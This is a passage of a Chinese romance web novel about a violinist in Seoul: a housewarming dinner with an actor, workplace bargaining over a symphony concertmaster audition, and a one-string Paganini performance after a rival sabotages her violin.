“在南韩乔迁的话，是要给邻居送糕点的。等晚上他们都回来后，你可以送去给他们。” 他怕宋玉妍从海外刚来韩国，不知道这些习俗，所以主动帮她准备了。 “内，谢谢呀，孔浏xi？”宋玉妍接过，言笑晏晏地看着他。 浅白的肌肤在灯光下呈现一种珍珠般的光泽，又长又密的黑发散在胸前。加上温柔的笑容，看起来很有家的氛围。 一瞬间让人恍惚，可能是灯光太过刺眼？孔浏在心底忽然有个念头，要是能和对方结婚好像也不错！ 这是步入四十代以来，他的脑海里第一次闪过这样的念头。 宋玉妍：“是不是还得做一顿乔迁宴？之前上网搜索，好像主人家都会给帮忙的朋友做顿饭，就当是犒劳！” “会不会太麻烦了……”他怎么看都觉得对方不像是能做饭的样子，有些迟疑地说道。 在心底还是希望她能打消这个念头，不要为难她的手和自己的胃。 何况点外卖也是可以的，周边有一家中餐炸酱面和糖醋里脊做的都还不错。 “不会，在美国的时侯，偶尔也会下厨。”虽然原主只会把预制菜品上锅蒸熟，往快餐拉面里注入热水，但这怎么不算是做饭呢？ 她就不一样，在南韩这个美食荒漠经历多次，早就练就一手好厨艺。立刻从线上下单了各种调料、杏鲍菇、牛肉、莴苣、…… 等食材到了之后，两人一起进了厨房。 窗明几亮，厨房里面的厨具很全看起来都价格不菲，餐盘也是新的完全没有动过的样子。 宋玉妍把食材简单处理了一下，把土豆和牛肉放在案板上，看着刀发起了愁。 原身没有怎么做过饭，万一不熟悉切到手指，会影响到左手按弦的灵敏度。 他立刻拿起刀来，刀刃在土豆上面比划，“这个要切多大块？我来就好，你别伤到手了。” “土豆切的大块一点，牛肉则是切成骰子形状大，杏鲍菇比牛肉更大块一点就好。” 她用手指轻轻地在食材上比划，告诉对方大概的形状。 “好！”孔浏偶尔也会在家做饭，料理一下食材对他来说不算是难事，刀起刀落、三五二下除就把她要的形状切出来了。 拿起切好的牛肉粒放到瓷碗里，加入蛋清、淀粉、黑胡椒、蚝油、生抽、盐腌制一下。 宋玉妍戴着一次性手套，不紧不慢地抓拌着肌理分明的牛肉，动作合乎韵律，看起来有种特殊的美感。 两人配合默契，不一会就能起锅开始做菜了。 她打算先做一个炒面，拉面已经煮熟过过冷水。调好了独家的料汁，番茄酱、孜然、辣椒面、芝麻……按照比例混合，泼上热油放在一旁。 先把土豆块煎熟，加上盐更快地杀出里面的水分，等到微微变焦加入火腿。这两样都熟了之后再加入处理过的拉面，混合后倒上料汁。 复合香味一瞬间迸发出来，油烟机就算再繁忙也不能抽空这股味道。 孔浏看着她的动作，就和拉琴时一样行云流水、赏心悦目。 原本散发着光泽的黑长发因为做菜被夹到脑后，只留下鬓边两缕不听话的散落，在她的脸蛋边上随着动作一跳一跳。 好几次他都忍不住伸手想要把它捋到耳后。 宋玉妍神色淡然，窗外的透进来的光线给她镀上了一层温柔。 他手上的动作不停，不断地在帮忙打下手，心中思忖：她一定会是一个很好的结婚对象。 第56章 第五十六章 最后撒上芝麻，这一份面就炒好之后，宋玉妍把它分到两个浅灰色磨砂石头纹牛排盘里。 要不说这个公寓的炊具高级呢？居然还有专门热盘的位置。 孔浏自然而然地接过锅，放在水池下冲洗。 主菜是牛肉粒杏鲍菇，这道菜最重要的就是火候。先把牛肉煎到七分熟盛出，杏鲍菇炒软之后，重新加入牛肉和调料翻炒均匀。 黑椒和肉的香气一瞬间迸发，让人食指大动。 她大致看了下时间，感觉差不多之后，把它从锅中倒到已经焯好水的莴苣上。 米色磨砂石头纹的陶瓷碗上，映衬着黑棕色牛肉粒和浅棕色的杏鲍菇。颜色的反差煞是好看，精致的装盘看起来不输正经的西餐厅。 两人落座后，一时间都没有说话，因为饥饿手上的动作不停。 孔浏从刚开始的礼貌性夸赞到后续的真心实意，毕竟宋玉妍的外表看起来更像是十指不沾阳春水。 “感觉这个炒面比中餐馆的炸酱面好吃太多了！” 像是被他夸张的语气逗乐了，宋玉妍咬着下唇笑声溢出来。 明明就是很简单的炒法，只不过南韩的炸酱面都是阉割过的版本。她用了更复合的调料去料理，味道自然会更好一些。 “是你太夸张了，毕竟你的味蕾可是用韩式辣酱就能满足。” 知道她是在打趣自己在《男与女》里面，和女主在芬兰吃饭时，找对方讨要辣酱的名场面。 孔浏低头哑笑出声，他是绝没有奉承对方厨艺的意思。 本来分量略多的菜品，被两人一扫而空。 用餐结束之后，他看着自己像是要消失的腹肌苦笑。演员多少都有饮食控制，很少情况下有这样强的饱腹感了。 他主动收拾好餐盘、锅具，冲完水之后放进洗碗机。然后拿起一次性的厨房用巾开始善后，仔仔细细地把擦拭灶台。 宋玉妍则是在心里评估着对方。看到他没有像南韩传统男性那样大男子主义，吃完饭就手一甩就不管其他，默默地给他加了一点分。 她洗好手、擦干，然后拿出自己的古董琴，轻轻拨弦之后调准了音。 拿着琴弓对着出来的孔浏，温柔地笑着说道：“你不是想听我的演奏会吗？今天只为你一个人开。” 他靠在厨房的推拉原木的门框上，认真侧耳倾听。灰色的格纹毛衣，让他看了多了一份家居的柔软气息。 能够亲眼见证优秀演奏家的现场，是一种幸运。 轻柔的揉弦加上迤逦的长音，柴可夫斯基的《旋律》在她手下落下第一个音符开始，就呈现一种金色的、温暖的像是日出那样色彩。 前八个小节的旋律，让人像是泡在温水里那般舒适。 他的动作更加放松了，靠着门框，整个人的姿态呈现一种慵懒的状态。 宋玉妍的琴声里好像加注了她自己的某些东西。 第二段的跳弓和短音听起来更加幽默诙谐，像是情侣间的嬉笑打闹，装饰音显得更加优雅动人。 节奏开始渐慢，揉弦的力度变轻，每一个音符变得更加引人入胜。 不断地模进，手指在指板上不断地往高音处推进。 旋律回到了最开始的八小节，这次听起来更加温柔缱绻，像是情人之间的呢喃。 难以想象写出《1812序曲》，选择用炮声做伴奏的柴可夫斯基，居然也会有如此细腻柔软的旋律。 孔浏感觉到对方像是在用琴倾诉自己无声的情丝，克制旖旎的爱欲将他缠绕。 他又怕自己的感觉是错误的，只能盯着客厅里的鱼骨地板。好像要盯出一个洞来，不敢和人对视。 “你有听出些什么吗？”宋玉妍一曲罢了。并没有“安可”的打算，放下琴后站在他身旁询问道。 他慌乱了，电流般的酥麻感沿着脊椎慢慢移动到他的颈部，然后是四肢。 靠着门框，躯体因为分泌过多的多巴胺而导致的微微颤抖，几乎肉眼不可见。 他的声音也是颤抖的，只能选择另一个话题，这样可以到达自己的安全区。 “这首曲子听起来很浪漫，作曲家是？” 没有如他所愿，宋玉妍步步紧逼，身体离他几乎只有一指的距离。身上柔和甜润的玫瑰味向他侵袭而来，逼着他不得不放轻呼吸。 “你猜猜看？” “巴赫？”情乱之下他随口蒙了一个。 她的距离更近了，踮起脚。眼神温柔而又坚定地注视着，万千星体的碎光此刻好像都揉杂在这，两人的鼻尖几乎要碰到一起。 “巴赫那么纯粹又那么理性，怎么会写出这样的曲目。” 孔浏终于往后大退了一步，带倒了一片餐盘，瓷器摔下的清脆声音很好听。 像是一曲短暂到只有高音的交响乐。 “孔浏xi，是柴可夫斯基，难以想象吧！”宋玉妍撤回安全的距离，转身进了厨房。 她好像只是想进去看看洗碗机的运作是不是完成了，挡在门口的人似乎妨碍到她了。 他转身去客厅打开藤编柜上的黑胶唱片机，巴赫的《E大调协奏曲》简单的音符响起。 短而规整的乐句体现出一种冰冷的秩序感，宋玉妍拉奏的那曲截然相反。 再好的胶片机和外接音响，都没有真实演奏那么触动人心。 他留下了一个蓝色的丝绒小盒当作是她的乔迁礼物。没有和主人告别，先行离开这个他曾经生活过的地方。 这样的失礼，似乎是第一次。 宋玉妍最近上课时心情还不错，她的学生从她越发精致的穿着打扮上能感受到。 办公室的老师对视一眼，看到她耳朵上的梵克雅宝新款雪花耳钉后，眉眼间的官司就没有停过。 这一对都能顶的上他们大半年的工资了，三个人在五个群里开始热聊。 「她这是什么情况？」 「钓上财阀了？」 「我看不像是这样，钓财阀这么容易？」 「有些不学无术的二代都很蠢的，看到首尔大的光环都走不动道了。」 “李素言xi，韩部长好像叫你去一趟他办公室。”她打断了他们之间低头但是火热的气氛，这是上班半个月和他们说的第一句话。 坐在她斜对面的女讲师有些反应不过来，听到这陌生又熟悉的声音有些受宠若惊。 她居然和宋玉妍第一个开口说话的，这样的“惊喜”不亚于年轻时侯抽中了喜欢东方神起的签售。 “内，谢谢了！” 李素言趁兴而去，没有十分钟从韩载时的办公室里败兴而归。 她出来之后，指了指宋玉妍对面那个戴眼镜的男讲师，“韩部长说让你也去一趟。” 又是十分钟，他也面色灰败地回来，脸上毫无笑意地指向宋玉妍。 “你也去一趟。” 她一进入这间办公室就被惊到了。红木的全套家具、禅意而有设计的树脂茶桌，办公桌上哥窑花瓶里插着南天竹，加上悬挂着裱好的书法。 这看起来太不像是一个从事古典音乐者的办公室了。 她老师的工作室满是是印象派的画、石膏雕塑还有规整的线条设计。 “宋玉妍xi，来了呀！”韩载时消瘦的脸上挂着故作亲近的笑容。 “内！”她尊从对方的指示，坐在茶桌的正对面的椅子上。“部长nim，找我是有事情吗？” 他附庸风雅地给她斟了一杯茶，不熟悉的手法一看平常就不常喝。 “最近工作怎么样，和同事还处的可以吗？有什么问题都可以及时和我来沟通，领导嘛！就是要帮你们解决这些后顾之忧的……” 宋玉妍看似在专心致志地听他讲话，头还时不时地跟着一点一点，其实早就魂游天外了。 难道自己的“同事”打小报告了？谁和他告状说自己太独了吗？ “其实也没有什么事情，他们反应的那些问题啊，我知道只是片面之词。新人嘛！难免会要花时间融入新环境的，我还是很看好你的，论演奏能力你肯定是最拔尖的……” 如果真的是一个刚从学校里毕业的学生，听到这话肯定会感动到不行，以为自己遇上了一个明事理的好领导。她面上作出感激状，实则心中不以为然。 怎么中年人废话都这么多，前面两个是怎么在他办公室待不到十分钟的，感觉韩载时自言自语都能说个半小时。 “国立交响乐团在排新年音乐会，但他们首席忽然出了车祸，手臂直接骨折了。”话过三巡终于来到了正题。 宋玉妍满腹疑问，这和他们有什么关系？人家首席手骨折，管他韩载时什么事？要在她面前唱念做打、又唱又跳？ 马上他的下一句就给她解开了疑问，“人家交响乐团准备搞一个小型的选拔，不光是乐团内部，其他高校有合适的也可以推荐。这不，韩艺综一口气给推了三个。你说我们首尔大作为韩国独一档的名校，岂能甘居人后？” 你们一年也就给我发4000万韩元的薪酬，我也只是个非专职讲师而已，首尔大的荣誉总不可能和我有关系？她在心底吐槽道。 “你想你毕业于朱莉亚音乐学院。” 她博士毕业证还没有到手，还不算毕业。 “朱莉亚音乐学院的实力在业内我们都是有目共睹的，你又是室内乐团的一提和交响乐团的首席，这点场面对你来说应该不算什么。” 宋玉妍就静静地啜着茶水，不接他的话茬，请人干活，不给出一点好处怎么行？ 想到院长下出的死命令，不能让韩艺综出这个风头，韩载时就头疼。 要是他们乐团内部拿到这个首席倒还好，如果真的让韩艺综的人露脸，他接下来的一年日子都不好过了。 “明后年我们系会有一个转正名额。”他都暗示到这里了，对方应该能明白吧！首尔大的正式讲师职位，谁能不心动。 她还是不说话，垂着眼眸，提出自己的条件。“我想参与到明年招生考试的评 审组。” 第57章 第五十七章 她是疯了吗？学院每年的招生考试，除了一个正教授固定成为考评组的成员。哪一个副教授能加入都是要靠抽签才能决定的。 这可是首尔大每年最重要的事情，多少人削尖了脑袋想要挤进来！ 能参加这种工作，就是拓展人脉的好机会。 别的不说，在考试时和其他考评老师说上一句，“这是我学生。”能让别人少走多少弯路？ “转正名额的不确定性太大了。”说不定就被谁给挤下去了，宋玉妍从来不吃空头画的饼，何况她也没有很想要这个名额。 因为生气和太不可思议，韩载时的脸上呈现出一种不太正常的紫色。他嚅动着嘴唇，好几次想要说些什么，但都没有成功。 一想到院长那边给的压力，他就有些心如死灰。每年的固定时间段，kbs都会放送韩国国立交响乐团的新年音乐会。 如果让韩艺综的人拔得头筹还在电视上露面，那院长的怒气他可承担不了。 要知道就算首尔大的音乐专业在韩国排第二，他们还是有挽尊之词。韩艺综不过是凭借民乐压了他们一筹而已，除了上了年纪的老年人谁会去听那些？ 走向海外的文化输出、包括提升古典音乐不还是要靠他们首尔大？ 权衡再三，他还是决定先稳住宋玉妍，毕竟弦乐系除了她估计都是废物了。 刚刚他问了其他的讲师，他们都十分心动然后拒绝了。步入教育界这么多年了，平常最多也就是给学生做做示范的时侯碰一下琴。 那么点练琴时间和专业的演奏家，比起来肯定是捉襟见肘的。 到时候没有被选上的话少不得被院长迁怒，一年的奖金说不定都要下调，不如干脆拒绝把自己摘干净。 “宋玉妍xi，你看学院现在非常困难，你现在和首尔大也算是休戚与共了，但以你的资历是进不了考评组的……”他努力地挤出一个笑容，但是看起来十分可怖。 不吃他这一套，宋玉妍不接受他的绑架，还是那句话，首尔大的荣誉和她一个“临时工”有什么关系。 就算韩艺综把首尔大音乐系的面皮剥下来，放在脚下踩，那也是他们技不如人。 “这样吧，我先把你加入考评组，正式的名额也给你留着，就是最后的话还是要院长同意。”言下之意就是如果院长不同意的话，他也没有办法。 “我会和郑京和xi说的，她毕竟是我老师的师妹。现在长辈不在身边，也只能和她商量一下了。”她状似苦恼地说道。 语气里威胁之意很是明显，如果他出尔反尔的话，宋玉妍就告状。她可不是那些没有背景，也能任人捏搓扁圆的性格。 韩载时擦了擦额头上淌下的冷汗，只能咬牙微笑，答应她的要求。心里在盘算着把哪一位副教授挤出考评组比较好！ 他是真的没有想到，对方和郑京和还有这么一层关系。 怪不得当时面试的时侯郑京和骂归骂，最后还是把名额给了宋玉妍。 感情那是同门之间的指点，只有他像个小丑坐在旁边当时真心实意地给人叫屈。觉得她对后辈太过苛刻了。 达成所愿后，宋玉妍愉快地出办公室了。 只留下屋内的人心情不怎么好，再一次把原来的专职讲师骂了一万次，要不是他们专业能力不行，自己也不至于被“敲竹竿”。 等她回来，其他三人看到春风拂面的人，就知道那个名额大抵是定给她了。嫉妒让他们把后槽牙都给咬碎了。 假装不在意地交谈道：“就算能去国立交响乐团的新年音乐会上露脸又怎么样？还不是不能当专职讲师。” “对啊对啊，我今年就能评教授助理了，在学校工作，专业能力反而是其次。” 倒是那位李素言没有搭腔，只是复杂地看着旁边办公桌上的宋玉妍一眼。 她是运气好，刚进学校就能有这样的机会。但如果自己能好好练琴，没有荒废技艺，这个机会也不会拱手相让于人。 朴昭愿进来拿打印好的谱子时，宋玉妍像是不经意地和她提了一嘴：“昭愿呐，你可要好好练琴，不管怎么我们专业的还是在手下实力见真章的。不然就算是你的老师是海菲兹又怎么样？照样去不了金色大厅独奏。” 她还以为自家老师知道了，她最近打工，因为每天只练6个小时琴而不满呐！当下羞愧地头也不敢抬，涨红着脸低头应了句：“内！” 宋玉妍捋了捋耳后的碎发，温婉的面容上毫无波澜，只有眼睛里面的冷嘲像是要溢出来了。转头看向自己得意弟子后，桃花眼又重新变得柔和起来了。 “就是和你说，要好好把握机会，其他能放的事情就先放掉。曲目练的差不多之后，来我家找我！” 其他两位男讲师脸色也很不好看，她这是在指桑骂槐呢！两人的脸也涨红了，但是坐在她视线能及的地方，躲都没有地方躲。 等她出去吃午饭了后，办公室里面又开始沸反盈天。 “她这是什么意思？把我当学生训？” “就是！一个非专职教师这么张狂？” …… 最近宋玉妍减少了和孔浏聊天的频次，除了在学院上课、负责一部分期末考试的事宜意外。剩下的所有时间都是在指点朴昭愿，自己在家练琴。 新年音乐会，最重要的就是轻快、明亮、活泼。所以在选曲上和一般的音乐会不太一样，一般的音乐会会在音乐性和悦耳性上取一个平衡。 不知道是哪位指挥家的名言：“不能把曲目的选择权完全交到听众手里。”所以一般的音乐会曲目，大多上半场都是较为晦涩、艺术性强的协奏曲。这样的曲目超越听众的审美，要他们反复听很多次才能欣赏。而下半场多为短小、简单的曲目，这样的旋律轻快，听众接受更高。 说是说这样能更好地维持所谓“艺术家”的尊严。 宋玉妍对此笑笑不予置评，但新年音乐会没有人想听那些枯燥、冗长又乏味的交响乐。那么圆舞曲将会是选曲最好的选择。 她从老师跨洋寄过来的乐谱堆里，翻出小约翰施特劳斯的作品合集，满脸痛苦地开练。练完这个后面还有舒伯特在等着呢！ 所有的音乐体裁里，她最讨厌的就是浪漫主义的圆舞曲，第二讨厌的就是同时期的幻想曲。 而最讨厌的作曲家就是施特劳斯一家，天知道他们家是怎么出四个浪漫主义时期的作曲家的！ 这样的音乐风格不是宋玉妍所喜欢的。 她更喜欢巴赫《十二平均律》的绝对理性或者是贝多芬的沉郁顿挫；柴可夫斯基的强烈的民族性和悲剧性。 这样优雅、欢快地旋律让周围的邻居心脏一松，要知道隔壁这位拉的并不难听。 但是以他们的审美每天都能听那些曲子听得昏昏欲睡，要是每天都像今天这样，拉欢快明朗的曲目就好了。 孔浏抱着手机有些神游天外，在他看来宋玉妍已经连续很多天在敷衍他了。 明明首尔大已经收课了，但是对方依旧不怎么回复消息，问就是在忙。如果不是对她的性格足够了解，他都以为对方是在玩推拉。 他面上看着不着急 ，偶尔和姜栋芫出去聚餐也是一片淡定。 好友知道他的恋爱进度之后，表现得比他着急多了，要知道他们家能不能出一个首尔大学的大学生，基本上全靠自家亲故了。 他主动给孔浏倒了杯烧酒：“孔浏xi，你最近是不是不小心惹怒宋玉妍xi了，不是之前说答应给我侄女上私课吗？”怎么这么久还没有动静？ 孔浏在脑海里头脑风暴了一瞬。是不是那天在她家温居的时侯，对方问他的问题，他的回答没有让宋玉妍满意？ 她喜欢打直球的？还是因为觉得他性格温吞的太无趣了，没有意思？ “孔浏xi，有的时侯男人的腰就应该软一点，你要不去哄哄对方？” “要是她只是单纯的忙呢？”好半天他才憋出这么一个理由，哄女生他是真的没有经验。 之前的恋爱经历都是淡淡的，固定地送礼物、在一起、牵手、接吻。 就连步骤都分毫不差。 “这话你自己信吗？”姜栋芫是真的忍不住嗤笑一声，自己拿起烧酒啜饮了一口。 “对方家在美国，现在在韩国。又是首尔大放寒假的时侯，你说她会在忙什么？” 各大高校都会早早地把一年的校历在网上公布，只能说宋玉妍这个借口找的并不好。 孔浏的神色动摇了，努力地回想自己到底是哪里做的不好，和自己兄弟复盘。 姜栋芫一下就“看出”了问题所在，“你说你给她送了梵克雅宝的钻石耳钉？还是两千多万韩元？” “有什么不对吗？” 当时他想的时，对方和这个耳钉肯定很搭，平常的时侯戴也不会影响练琴什么的。 再加上现在是冬天，雪花的造型也合适。遇到她又是初雪那天，简直没有比这更合适的礼物了。 “当然不对！”姜栋芫眼底满是恨铁不成钢，声音大到引来其他居酒屋客人的注意，所有人都看向这个角落。 自家好友在男女之事上还是这样苦手，他压低声音提醒道：“你想想，对方是干什么的？” “小提琴老师啊？”这有什么问题？ “演奏家！艺术、艺术家！你懂吗！”他的手势很夸张，“艺术家都很清高！你以低于市价租房给她就已经不太合适了，还送这么贵的礼物。对方肯定觉得你是一个很庸俗的人，只会拿钱砸。” 第58章 第五十八章 听到这话孔浏觉得有哪里好像不对，但是以他贫瘠的经验找不到漏洞，所以就若有所思地点了点头。 “那我以后应该送些什么？”如果不送珠宝首饰的话，还能送些什么？大牌的包也不太合适。 看看、看看！都演过那么浪漫的《鬼怪》，但是还是不知道这么追求女生。姜栋芫很头疼，想到自家兄弟搞不定宋玉妍的话，自家侄女的前途也就没戏。 他开始绞尽脑汁地出主意，“你给她送一点花？她不是美国人吗？带她去浪漫一点的米其林餐厅吃饭？” “她不喜欢西餐，说是吃腻了，不合胃口。”说到这他也无奈。 “那米其林也有韩餐啊！江南那边新开了一家FD，据说他们家的松露豆乳冷面味道很不错。” 孔浏叹了口气，问题不是对方约不约出来的问题了，而是现在宋玉妍连回消息的频率都寥寥。 他又倒了杯酒，闷了一口。 这家居酒屋的氛围很好，昏暗、柔和的灯光和榻榻米相得益彰，座位之间用草帘作为分割，最大程度地保证了客人的隐私性。 用来佐酒的特级刺身拼盘上，肉橙色的三文鱼变得更加绵软了。但两人没去动它，只有烧酒空了一半的瓶身。 “我出去抽根烟。”他起身，左脚放在另一只腿上的脚踝挪开，盘着的腿竖起来。然后人站起来之后，高得几乎可以碰到天花板上的吊灯了。 “不是戒烟了吗？”姜栋芫有些不解道。 “又开始吸了。” 今天戒烟，明天又开始抽，这算什么戒烟？ 走到外面的露台，孔浏才发现今天的夜空没有繁星。明明白天是一个明朗的晴空，也许是首尔的雾霾太过严重。 偏过头去点烟，火舌吻上烟的的最前端，橙红的火光在指尖明明灭灭。浅白色的烟雾在夜幕下萦绕着他，模糊了他的面容。 “叮”手机传来特定的铃声，他连忙从口袋里掏出。界面上面是宋玉妍的最新消息，因为没有解锁看不全消息。 他连忙熄灭了烟，把剩下的烟直接摁到吸烟处的烟缸里面。输入密码解锁，手指微微颤抖，尝试了好几次才成功。 「孔浏xi，最近在和其他人竞争国立交响乐团的首席，每天都感觉练琴时间不太够。如果让你感觉到被冷落，那一定是错觉。以及答应给你朋友的侄女上课的时间，可能要延后到新年音乐会之后了。」 看到这样的消息，他嘴角有些止不住地愉悦上扬，心底的阴霾被一扫而空。原来是他自己多想了，不过姜栋芫说得也不无道理，以后赠送礼物还是要注意一些。 给人回复祝她顺利，期待演出之外，他也就不过多打扰到对方。后面干脆烟也不抽了，人直接回去，甚至感觉这个居酒屋里的空气都是甜的。 烧酒、啤酒和威士忌混合一起的味道还不错，麦芽的香气十足。 “姜栋芫xi，她说你妹妹的课程可能要往后延一点了。” “莫？”姜栋芫喝着酒、刷着ins的手停了下来，对于高考生来说，时间是很宝贵的。课程这样延期，会落下多少进度？ “如果你很着急的话，还是找其他老师比较好。宋玉妍她忙着竞争国立交响乐团的首席，暂时没有空带学生！” 他一口烧酒呛到气管里，咳了好几声，把眼泪都给沁出来了，脸色涨成了猪肝的颜色。“竞争我们国家的国立交响乐团？还是首席？大发！这么年轻！” 孔浏的脸上也浮现出一抹欣喜，有些想要隐秘地炫耀：“对啊，还是首尔大给推荐的，学校干嘛推荐她一个这么年轻的老师去！这下人是真的约不出来了。” 才加入首尔大一个星期多，学院就给这种推荐，这说明宋玉妍很优秀，而他的眼光是不错的！ 姜栋芫权衡了一下，当场给他姐姐打了个电话。确认之后捂着电话话筒，侧过脸来又询问道：“宋玉妍xi，有说她最晚什么时候能开始带学生吗？” “新年音乐会结束之后，1月4号差不多吧！”这个她都和孔浏说了。 那也没有推迟多久，再加上现在首尔大的老师早就被定满了。如果不是关系非常好，是不可能临时空出一个排期。 “还是宋玉妍xi吧，这么厉害，教出来的学生肯定也不错！” 这边宋玉妍在周末还要去一趟中央国立剧场大厦，作为南韩的严肃音乐中心，里面不只有交响乐团的室内厅。其他的合唱团、歌剧团、舞蹈团、芭蕾舞团的重要演出基本上都在这里。 她背着备用琴箱走了进去，今天准备的曲目是圣桑的《引子与回旋》，这是她最熟悉的浪漫主义风格的曲目。 老师年轻时候和很多乐团都有合作过这首，其中和查尔斯马克拉斯爵士合作的那一版更是经典。 她还记得每一次上课之前，老师都会先放一张黑胶唱片。手边是一杯浓浓的咖啡，一边就着音乐一边和她在上课之前聊两句。 明明在那里听过无数旋律，但唯独这首独具西班牙风格的曲目打动了她的心。 听着这一首曲子时，身体就像是受到了伊比利亚半岛阳光的洗礼，中间穿插着沉郁忧伤的情绪。 跌宕起伏的旋律如流水般，总会征服每一个听众的心。 等到了等待的休息室，她从回忆中挣脱出来。然后把琴箱卸下，放在化妆桌和脚之间的缝隙处，静静地等待着开始。 镜子后面倒映处一个熟悉的红色身影，真是冤家路窄！之前那个和宋玉妍竞争过首尔大讲师的女人也来了。 她明媚张扬地闯了进来，看到宋玉妍时，嗤笑了一声。坐到旁边的化妆凳上，开始讥讽了一句：“首尔大现在是没人了吗？居然派你一个才入职不久的人来！” 把整个房间的目光都吸引过来后，宋玉妍看向她，眼中 情绪冰冷刺骨。 “怎么，柯蒂斯的学生连最简单的琶音都拉不好，居然这么有信心来竞争首席？难道你们学校的首席这么容易当的吗？” 她长着一副温婉如玉的样子，但是性格并不如长相那般绵软。 眼见着其他竞争者捂唇偷笑，沈多娴脸色瞬间不好了。手指几乎要在琴箱上抠出一个洞来，嘴唇抿成一条直线。 凭什么每次都是她！ 明明首尔大讲师的位置就是她的囊中之物，偏偏中途杀出来一个宋玉妍。 好不容易家里人给她塞到韩艺综里，现在又在这里再次碰到。她无视那些不怀好意的目光，手指在手机上敲打着发了一条消息。 不一会有一个工作人员进来，附在宋玉妍耳边说道：“我们指挥想要看看帕尔曼弟子怎么样，你要不和我过去？” 她有些犹疑，又怕对方是老师的旧友，不给人面子不太好。毕竟自家老师满世界巡演，合作过的指挥数不胜数。 至于是怎么知道她的身份？首尔大学那边肯定和他们透露过几句。 刚想拿起琴箱，结果工作人员就制止了她。“只是聊聊天而已，并不是考核！” 宋玉妍觉得心头有些不对，又被这人的下一句给转移了注意力。 “帕尔曼大师什么时候能来韩国巡演？好像他基本上都是去欧洲和在美国演奏。” 她侧过头认真地解释，并不想任何一人对老师有所误解，认为他只以西方音乐为中心。“老师他双腿不便，每一次长途飞机不亚于一场酷刑。” 可能上天对待天才总是残忍的，明明给予了他敏捷的双手、极致乐感和丰沛的情绪，但要用小儿麻痹拿走他健康的双腿。 一想到老师双腿不良于行，惆怅的心思让她无暇顾及其他。 跟着工作人员七拐八拐到了角落中的角落，心中怪异感越来越浓。等看到对方还是在带路之后，宋玉妍也不管他了，立刻折身返回原本的休息室。 一推开门并没有发现什么异样的地方，等回到自己的位置上，才发现琴盒被人动过。 倾斜的角度完全不一样，她迫切地打开盒子。发现原本调试好的弦，完好无损的居然只剩下一根了。 E弦、A弦整根断裂，D弦微微拉丝，只剩最粗最不好绞断的G弦完好无损。看到这里她生气到两眼发黑，老师和她说的话还回荡在耳边。 “以后你不管去哪里演出，琴不能离开你的视线，一旦离开，你根本不知道会发生什么！” 后悔、愧疚、恼怒、生气复杂的情绪在她心底交织。环顾一圈最后宋玉妍眼睛死死盯着沈多娴。 “谁、做、的？” 见没有人回答，看过的人都摇摇头，表示自己不知情之后，宋玉妍完全被气笑。 也对！谁不希望少一个竞争对手，反正坏事不是她们干的，干脆事不关己高高挂起！ 她是第一个上场的，换上备用的琴弦也完全来不及了。 现在的时间并不够把断裂的旧琴弦取出来、换上新弦、大致调整音准。然后往琴轴缝隙里填充一点点细碎的松香防止它滑影响演奏时的音准，最后细细调音。 只能说对方完全拿捏住她的软肋了，这样一环扣一环的计策是真的“屈才”。 宋玉妍脸色很难看，但还是冷静下来了。她只想怎么度过接下来的考核，只有眼底燃烧着的火焰泄露了她的怒气。 在去演奏厅的路上，三五二下除就把断裂的琴弦给处理了，指板上只剩下孤零零的G弦。 等站到幕台中央，经过钢伴时，她歉意地说了句：“抱歉，我临时改曲目了，我的曲目暂时不需要伴奏。” 本来的评委看着她只剩下一根弦，眼底浮现出一股怒气，认为她不尊重这次选拔。 但宋玉妍的下一句话改变了他们的看法，“我演奏的曲目是《摩西主题变奏曲》。” 第59章 第五十九章 一般来说，如果没有钢琴伴奏，小提琴又只有一根弦演奏的话。声音听起来会很单薄，质感大打折扣。 演奏者但凡有一丝技巧上的瑕疵，都会不断地被演奏厅的回响放大，直达每一个听众的耳朵里。 但宋玉妍丝毫没有慌张，不紧不慢地把G弦的音调到降b调。 弓毛和弦发生接触的一瞬间，如咏叹一般的长音从f孔中慢慢振出，然后一串如流水般的音符不紧不慢地在室内流淌着。 她的脑海中像是紧绷着一根弦，垂眸死死盯着指板上仅存的G弦。 生怕由于琴码受力不均匀，这根弦也随之而断，直接崩她脸上。 第一变奏的部分基本上都是欢快的十六分音符，顺手的中弓段几乎快要被摩擦的要冒烟了。 宋玉妍一直胆战心惊，快速的跳弓可能会导致受力不均，把琴码弄倒。 普通听众当然不知道台上人的紧张。 第二段变奏的明亮的高音阶泛音在听感上很舒适。模仿哨音的手法上丝毫没有杂音，也没有暗哑，2\4拍节奏更加欢快明朗。 台下的评委不禁连连点头，不愧是帕尔曼的弟子。朱莉亚出来的学生基本功是真的没得挑，就算没有钢伴，内在节奏也是稳到不行。 如果没有比宋玉妍水平更好的，就定下她也不错。毕竟实力在这里，大师的徒弟，噱头也是有了。 能把在弦上把这些复杂的技术变化，给完美拉出来，感情处理的也很到位的演奏家并不算多。美中不足的是最开始的第一小节有些小瑕疵。 等到拉到第三段变奏时，她像是确认硕果仅存的这根弦没有问题，拉的更加游刃有余了。 连音与断音交替出现，左手按弦如流线型运动一般极具美感，把每一个音符的颗粒性展现地淋漓尽致。 帕格尼尼这首华丽的作品兼具歌唱性和技术型，而宋玉妍把它诠释的不错，用琴弓把一个个如同珍珠般的音符串联上。 等她演奏完毕之后，谢幕时不出人所料地获得了在场所有人的掌声。 就连竞争者们也不得不一起鼓掌，差距摆在这里。如果是他们不一定能把这首曲目诠释得如此之好，更何况对方明显是临时换曲。 心态稳、冷静、能迅速处理突发情况，加上无可挑剔的技术，对方已经是一个完成式的首席了。 后面一个演奏者听到珠玉在前的演出之后，加剧了心中的紧张感，最后出来的效果只能说的上是差强人意。 宋玉妍看着台上一个个上去又下来的演奏者，表面在认真聆听，实则已经魂游天外了。 刚刚的发挥她也算满意，只是可惜没有拉上最喜欢的浪漫主义曲目《引子与回旋》，毕竟这也算是一种向老师的致敬。 对于帕格尼尼所有的作品，她都已经是了如指掌。《摩西主题变奏曲》更是她最喜欢“玩”的曲目。只是可惜开始有点紧张，前面一个小节出来的音色哑了，演奏不能算特别完美。 她手上换弦的动作不停，把新弦包装拆开。先是把它们一根根地固定在系弦板上，然后穿到弦轴的孔里，给填上少量的松香防滑。然后手指再有一下没一下地拨弹着，靠着耳朵慢慢把音调准。 等沈多娴上台时，她对着台上冷笑了一声，嘴上做了个“琶音”的口型。意在嘲讽对方连最简单的琶音都拉不好，居然还有脸站在这里？ 台上的人手一抖，第一拍就进慢了，钢伴没有办法只能停下来等她。一曲舒伯特的《第二奏鸣曲》被她越拉越慢 ，就连普通的听众都能听出她内心的焦躁。 原本小提琴声应该与钢伴浑然一体，但现在毫无静谧优雅的氛围。 